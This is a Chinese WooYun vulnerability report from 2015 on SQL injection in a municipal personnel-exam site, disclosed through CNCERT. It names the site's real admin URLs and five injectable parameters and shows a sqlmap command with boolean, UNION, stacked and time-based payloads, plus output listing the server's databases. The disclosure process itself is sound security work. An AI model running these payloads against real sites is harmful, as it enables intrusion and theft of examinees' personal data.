当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100119

漏洞标题:某市人事考试网漏洞大礼包

相关厂商:cncert国家互联网应急中心

漏洞作者: 飞鱼

提交时间:2015-03-10 14:34

修复时间:2015-04-24 14:36

公开时间:2015-04-24 14:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-10: 细节已通知厂商并且等待厂商处理中
2015-03-15: 厂商已经确认,细节仅向厂商公开
2015-03-25: 细节向核心白帽子及相关领域专家公开
2015-04-04: 细节向普通白帽子公开
2015-04-14: 细节向实习白帽子公开
2015-04-24: 细节向公众公开

简要描述:

站虽不是省级及以上的站,属于事业单位,考生个人信息数据众多,所以及时发出来,有关部门关注。

详细说明:

http://www.sxxzpta.com/admin/Login.asp 管理后台地址
http://www.sxxzpta.com/bm/admin_login.asp 报名后台地址
http://www.sxxzpta.com/bm/chax.asp?id= 注入点1
http://www.sxxzpta.com/bm/chengji.asp?id= 注入点2
http://www.sxxzpta.com/bm/chengji.asp?sfz= 注入点3
http://www.sxxzpta.com/bm/chengji.asp?uname= 注入点4
http://www.sxxzpta.com/bm/admin_chklogin.asp?xm= 注入点5

漏洞证明:

QQ图片20150308093252.png

root@xss:~# sqlmap -u http://www.sxxzpta.com/bm/chax.asp?id=200808 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:42:33
[09:42:33] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:42:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=200808' AND 4749=4749 AND 'WxhB'='WxhB
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: id=-7972' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(108)+CHAR(118)+CHAR(105)+CHAR(113)+CHAR(80)+CHAR(97)+CHAR(89)+CHAR(88)+CHAR(112)+CHAR(105)+CHAR(100)+CHAR(88)+CHAR(82)+CHAR(69)+CHAR(113)+CHAR(109)+CHAR(113)+CHAR(110)+CHAR(113),NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=200808'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=200808' WAITFOR DELAY '0:0:5'--
---
[09:42:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[09:42:45] [INFO] fetching database names
[09:42:45] [INFO] the SQL query used returns 24 entries
available databases [24]:
[*] faosx
[*] jdata
[*] ks_database
[*] master
[*] model
[*] mqhlyk
[*] mqhrs
[*] msdb
[*] Northwind
[*] pubs
[*] qiyeccinfo
[*] sx_139
[*] sxbj
[*] sxjnwz
[*] sxmw12
[*] sxycsc
[*] sxyingjie
[*] szygov
[*] tempdb
[*] testgaojin
[*] tydxjyxy
[*] wt10060
[*] yingzeljy
[*] yzjyedu


有后台,有注入点,可shell,多半还是有内网的,渗透到此结束。
没有进后台,没有任何脱裤,泄露信息行为,不要查俺水表啊。

修复方案:

你们更专业,网络安全不容小觑。

版权声明:转载请注明来源 飞鱼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-03-15 11:16

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置

最新状态:

暂无


漏洞评价:

评论